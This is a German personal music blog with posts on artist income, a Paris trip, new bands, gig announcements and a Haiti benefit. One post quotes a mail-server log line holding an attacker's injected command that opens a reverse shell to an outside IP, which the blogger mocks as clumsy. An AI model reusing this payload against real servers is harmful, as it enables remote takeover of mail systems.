Ab sofort bekommt WordPress.com keine Statistikdaten mehr vom Beatreactor – meine persönliche Neugier wird von Piwik lokal gestillt.
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Da lese ich im Internet-Käsblättl und an der (diesmal sogar verlinkten Quelle) mal wieder das übliche Geheule. Die armen Künstler verdienen nix. Diesmal ist das Internet zwar nicht schuld dran, aber es hat die Situation auch nicht besser gemacht.
Ich verstehe das Geheule nicht. Für 95% der Musiker und Künstler hat sich – rein finanziell – schlicht nix geändert. Natürlich verdienen (bis auf ein paar Ausnahmen) Künstler wenig. Das war schon immer so. Kunst ist eben in den meisten Fällen brotlos. Deswegen machen die meisten Leute das als Hobby.
Ich sehe da kein Problem mit. Kunst ist Kultur – Kultur ist per se unverkäuflich. Wer dennoch versucht, nur von seiner Kunst zu leben, dem bin ich nicht böse. Viel Glück. Viel Erfolg! Aber ich glaube nicht dran. Klar gibt es eine ganze Industrie, die davon (noch) lebt. Aber ob es die noch lange gibt… wer weiß. Die Hüter unserer Kultur sind diese Moloche nicht. Ganz im Gegenteil. Sie behindern ihre Weiterentwicklung.
(Ich bin kein Gegner des Urheberrechts, oh nein. Nur das derzeitige Verwertungsrecht mit all seinen hässlichen Auswüchsen stößt mir übel auf.)
So, da sind wir über das Osterwochenende tatsächlich nach Paris geflüchtet. Der Wuschelkopf auf dem Wilson-Foto ist hauptsächlich dem etwas undankbaren Osterwetter geschuldet. Das war bei den Galliern nämlich genauso schlecht wie zuhause. Wir haben unsere drei Tage Paris natürlich trotzdem ausgiebig genossen, haben fein und lecker gegessen – der Besuch im kleinen Musik-Club ist leider ausgefallen, da unser kleiner Musik-Club geschlossen hatte.
Beim Rumgucken ist uns natürlich auch noch was nerdiges aufgefallen, was mir irgendwie bekannt vorkam – diese zwei haben wir zufällig entdeckt und vermutlich einiges mehr übersehen.
Tatsächlich habe ich dann natürlich auch noch rausgefunden, wo ich zum ersten Mal davon gehört hab: Natürlich auf Nerdcore 🙂
aus meinem Mailerlog:
postfix/local[6866]: warning: 8B6ADDA44: address with illegal extension: root+:|exec /bin/sh 0</dev/tcp/92.243.5.144/9991 1>&0 2>&0
tsk tsk… geht’s nicht noch ein bissel plumper? Ich bin ja kein Security-Experte, aber das…
Tja, man könnte fast sagen „schon wieder“ haben wir ein neues Projekt. Diesmal bestehend aus Elmax the Sax, Sven dem coolsten Schlagzeuger des Schwabenlands und mir: „Trio Bergkamel“. Der Name stammt aus meinem Terminkalender, das Programm ist eine ansprechende Mischung aus Jazz-Standards, eigenen Stücken und ein paar Funk-Grooves.
Wie sich das für Spontanes gehört, haben wir zuerst gespielt (auf einem Geburtstag) und dann geprobt. Was wir aber vorher noch nie hatten, waren so radikal geniale Fotos vom Eröffnungsgig. Wow.
Das fällt mir hier immer wieder auf: Man ist auf einem Konzertchen (z.B. gestern wieder im Blauen Haus) und schlagartig geht ungefähr die Hälfte der Gäste. Auf der Bühne werde ich da reflexartig unsicher. Sind wir langweilig? Haben wir irgendwie signalisiert, dass Schluss ist? Spielen wir schlecht?
Gestern (und in den allermeisten anderen Fällen) war die Ursache die „Letzte Bahn“. Deswegen ist der Abschied des Publikums auch so zahlreich und so plötzlich – wer jetzt nicht geht, muss Taxi fahren.
Ich kann mich immernoch nicht daran gewöhnen, dass im Stuttgarter Dunstkreis nachts keine Öffis fahren (Nein, die Krücke „Nachtbus“ lass ich nicht gelten).
Es wird mal wieder Zeit für den Funk. Diesmal verschlägts uns hoch auf die Alb ins Gasthaus Adler in Meidelstetten. Dort werden wir ein kleines Kontrastprogramm zur üblichen Karnevalskost geben.
Los geht’s um 21:00.
Gerade wurde ich auf eine kleine Jazz-Session in Böblingen hingewiesen. Und zwar morgen (29.01.10) im Kulturnetzwerk Blaues Haus.
Special Guest ist Pops Wilson.
Im Gegensatz zu dem, was im Bix „Session“ genannt wird, handelt es sich wohl hier um eine offene Jam-Session. Wer mitspielen mag, der möge kommen. Na das werd ich mir zumindest mal anhören 🙂
Los geht’s um 20:00 – Eintritt sind studentenfreundliche 0 Euro
Es ist mal wieder etwas ruhiger geworden auf dem Beatreactor. Ich kann aber versichern, es sind ausschließlich positive Gründe, die mir die Zeit und Muse klauen, hier Senf reinzugeben.
Anderen geht’s aber nicht ganz so positiv – deswegen möchte ich von hier aus auch auf das aktuell anstehende Event „Songs for Haiti“ hinweisen, bei dem mindestens 5 Bands die Ladenburger Kiste rocken werden, um Geld für die Erdbebenopfer zu scheffeln. Sozusagen das Angenehme mit dem Wohltätigen verbinden. Ich bitte um reichliches Erscheinen.